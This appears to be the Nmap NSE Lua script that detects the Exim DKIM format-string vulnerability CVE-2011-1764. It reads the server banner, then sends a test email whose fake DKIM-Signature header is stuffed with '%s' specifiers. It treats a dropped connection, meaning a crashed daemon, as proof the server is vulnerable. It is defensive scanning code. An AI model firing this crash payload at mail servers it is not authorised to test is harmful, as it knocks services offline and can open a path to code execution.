236 lines
7.4 KiB
Lua
236 lines
7.4 KiB
Lua
local shortport = require "shortport"
|
|
local smtp = require "smtp"
|
|
local stdnse = require "stdnse"
|
|
local string = require "string"
|
|
local table = require "table"
|
|
local vulns = require "vulns"
|
|
|
|
description = [[
|
|
Checks for a format string vulnerability in the Exim SMTP server
|
|
(version 4.70 through 4.75) with DomainKeys Identified Mail (DKIM) support
|
|
(CVE-2011-1764). The DKIM logging mechanism did not use format string
|
|
specifiers when logging some parts of the DKIM-Signature header field.
|
|
A remote attacker who is able to send emails, can exploit this vulnerability
|
|
and execute arbitrary code with the privileges of the Exim daemon.
|
|
|
|
Reference:
|
|
* http://bugs.exim.org/show_bug.cgi?id=1106
|
|
* http://thread.gmane.org/gmane.mail.exim.devel/4946
|
|
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2011-1764
|
|
* http://en.wikipedia.org/wiki/DomainKeys_Identified_Mail
|
|
]]
|
|
|
|
---
|
|
-- @usage
|
|
-- nmap --script=smtp-vuln-cve2011-1764 -pT:25,465,587 <host>
|
|
--
|
|
-- @output
|
|
-- PORT STATE SERVICE
|
|
-- 25/tcp open smtp
|
|
-- | smtp-vuln-cve2011-1764:
|
|
-- | VULNERABLE:
|
|
-- | Exim DKIM format string
|
|
-- | State: VULNERABLE
|
|
-- | IDs: CVE:CVE-2011-1764 BID:47736
|
|
-- | Risk factor: High CVSSv2: 7.5 (HIGH) (AV:N/AC:L/Au:N/C:P/I:P/A:P)
|
|
-- | Description:
|
|
-- | Exim SMTP server (version 4.70 through 4.75) with DomainKeys Identified
|
|
-- | Mail (DKIM) support is vulnerable to a format string. A remote attacker
|
|
-- | who is able to send emails, can exploit this vulnerability and execute
|
|
-- | arbitrary code with the privileges of the Exim daemon.
|
|
-- | Disclosure date: 2011-04-29
|
|
-- | References:
|
|
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1764
|
|
-- | https://www.securityfocus.com/bid/47736
|
|
-- |_ http://bugs.exim.org/show_bug.cgi?id=1106
|
|
--
|
|
-- @args smtp-vuln-cve2011-1764.mailfrom Define the source email address to
|
|
-- be used.
|
|
-- @args smtp-vuln-cve2011-1764.mailto Define the destination email address
|
|
-- to be used.
|
|
|
|
author = "Djalal Harouni"
|
|
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
|
|
categories = {"intrusive", "vuln"}
|
|
|
|
|
|
portrule = function (host, port)
|
|
if port.version.product ~= nil and port.version.product ~= "Exim smtpd" then
|
|
return false
|
|
end
|
|
return shortport.port_or_service({25, 465, 587},
|
|
{"smtp", "smtps", "submission"})(host, port)
|
|
end
|
|
|
|
local function smtp_finish(socket, status, msg)
|
|
if socket then
|
|
socket:close()
|
|
end
|
|
return status, msg
|
|
end
|
|
|
|
local function get_exim_banner(response)
|
|
local banner, version
|
|
banner = response:match("%d+%s(.+)")
|
|
if banner and banner:match("Exim") then
|
|
version = tonumber(banner:match("Exim%s([0-9%.]+)"))
|
|
end
|
|
return banner, version
|
|
end
|
|
|
|
-- Sends the mail with the evil DKIM-Signatures header.
|
|
-- Returns true, true if the Exim server is vulnerable
|
|
local function check_dkim(socket, smtp_opts)
|
|
local killed = false
|
|
|
|
stdnse.debug2("checking the Exim DKIM Format String")
|
|
|
|
local status, response = smtp.mail(socket, smtp_opts.mailfrom)
|
|
if not status then
|
|
return status, response
|
|
end
|
|
|
|
status, response = smtp.recipient(socket, smtp_opts.mailto)
|
|
if not status then
|
|
return status, response
|
|
end
|
|
|
|
status, response = smtp.datasend(socket)
|
|
if not status then
|
|
return status, response
|
|
end
|
|
|
|
local message = (
|
|
string.format( "MIME-Version: 1.0\r\nFrom: <%s>\r\nTo: <%s>\r\n",
|
|
smtp_opts.mailfrom, smtp_opts.mailto)
|
|
.."Subject: Nmap Exim DKIM Format String check\r\n"
|
|
-- use a fake DKIM-Signature header.
|
|
.."DKIM-Signature: v=1; a=%s%s%s%s;"
|
|
.." c=%s%s%s%s; q=dns/txt;\r\n"
|
|
.." d=%s%s%s%s; s=%s%s%s%s;\r\n"
|
|
.." h=mime-version:from:to:subject;\r\n"
|
|
.." bh=MTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTI=;\r\n"
|
|
.." b=DyE0uKynaea3Y66zkrnMaBqtYPYVXhazCKGBiZKMNywclgbj0MkREPH3t2EWByev9g=\r\n"
|
|
)
|
|
status, response = socket:send(message)
|
|
if not status then
|
|
return status, "failed to send the message."
|
|
end
|
|
|
|
status, response = smtp.query(socket, ".")
|
|
if not status then
|
|
if string.match(response, "connection closed") then
|
|
stdnse.debug2("Exim server is vulnerable to DKIM Format String")
|
|
killed = true
|
|
else
|
|
return status, "failed to terminate the message, seems NOT VULNERABLE"
|
|
end
|
|
end
|
|
|
|
return true, killed
|
|
end
|
|
|
|
-- Checks if the Exim server is vulnerable to CVE-2011-1764
|
|
local function check_exim(smtp_opts)
|
|
local smtp_server = {}
|
|
local exim_ver_min, exim_ver_max = 4.70, 4.75
|
|
|
|
local socket, ret = smtp.connect(smtp_opts.host,
|
|
smtp_opts.port,
|
|
{ssl = true,
|
|
timeout = 10000,
|
|
recv_before = true,
|
|
lines = 1})
|
|
|
|
if not socket then
|
|
return smtp_finish(nil, socket, ret)
|
|
end
|
|
|
|
smtp_server.banner, smtp_server.version = get_exim_banner(ret)
|
|
if not smtp_server.banner then
|
|
return smtp_finish(socket, false,
|
|
'failed to read the SMTP banner.')
|
|
elseif not smtp_server.banner:match("Exim") then
|
|
return smtp_finish(socket, false,
|
|
'not a Exim server: NOT VULNERABLE')
|
|
end
|
|
|
|
local vuln = smtp_opts.vuln
|
|
vuln.extra_info = {}
|
|
if smtp_server.version then
|
|
if smtp_server.version <= exim_ver_max and
|
|
smtp_server.version >= exim_ver_min then
|
|
vuln.state = vulns.STATE.LIKELY_VULN
|
|
table.insert(vuln.extra_info,
|
|
string.format("Exim version: %.02f", smtp_server.version))
|
|
else
|
|
vuln.state = vulns.STATE.NOT_VULN
|
|
return smtp_finish(socket, true)
|
|
end
|
|
end
|
|
|
|
local status, response = smtp.ehlo(socket, smtp_opts.domain)
|
|
if not status then
|
|
return smtp_finish(socket, status, response)
|
|
end
|
|
|
|
-- set the appropriate 'MAIL FROM' and 'RCPT TO' values
|
|
if not smtp_opts.mailfrom then
|
|
smtp_opts.mailfrom = string.format("root@%s", smtp_opts.domain)
|
|
end
|
|
if not smtp_opts.mailto then
|
|
smtp_opts.mailto = string.format("postmaster@%s",
|
|
smtp_opts.host.targetname and
|
|
smtp_opts.host.targetname or 'localhost')
|
|
end
|
|
|
|
status, ret = check_dkim(socket, smtp_opts)
|
|
if not status then
|
|
return smtp_finish(socket, status, ret)
|
|
elseif ret then
|
|
vuln.state = vulns.STATE.VULN
|
|
elseif not vuln.state then
|
|
vuln.state = vulns.STATE.NOT_VULN
|
|
end
|
|
|
|
return smtp_finish(socket, true)
|
|
end
|
|
|
|
action = function(host, port)
|
|
local smtp_opts = {
|
|
host = host,
|
|
port = port,
|
|
domain = stdnse.get_script_args('smtp.domain') or
|
|
'nmap.scanme.org',
|
|
mailfrom = stdnse.get_script_args('smtp-vuln-cve2011-1764.mailfrom'),
|
|
mailto = stdnse.get_script_args('smtp-vuln-cve2011-1764.mailto'),
|
|
vuln = {
|
|
title = 'Exim DKIM format string',
|
|
IDS = {CVE = 'CVE-2011-1764', BID = '47736'},
|
|
risk_factor = "High",
|
|
scores = {
|
|
CVSSv2 = "7.5 (HIGH) (AV:N/AC:L/Au:N/C:P/I:P/A:P)",
|
|
},
|
|
description = [[
|
|
Exim SMTP server (version 4.70 through 4.75) with DomainKeys Identified
|
|
Mail (DKIM) support is vulnerable to a format string. A remote attacker
|
|
who is able to send emails, can exploit this vulnerability and execute
|
|
arbitrary code with the privileges of the Exim daemon.]],
|
|
references = {
|
|
'http://bugs.exim.org/show_bug.cgi?id=1106',
|
|
},
|
|
dates = {
|
|
disclosure = {year = '2011', month = '04', day = '29'},
|
|
},
|
|
},
|
|
}
|
|
|
|
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
|
local status, err = check_exim(smtp_opts)
|
|
if not status then
|
|
stdnse.debug1("%s", err)
|
|
return nil
|
|
end
|
|
return report:make_output(smtp_opts.vuln)
|
|
end
|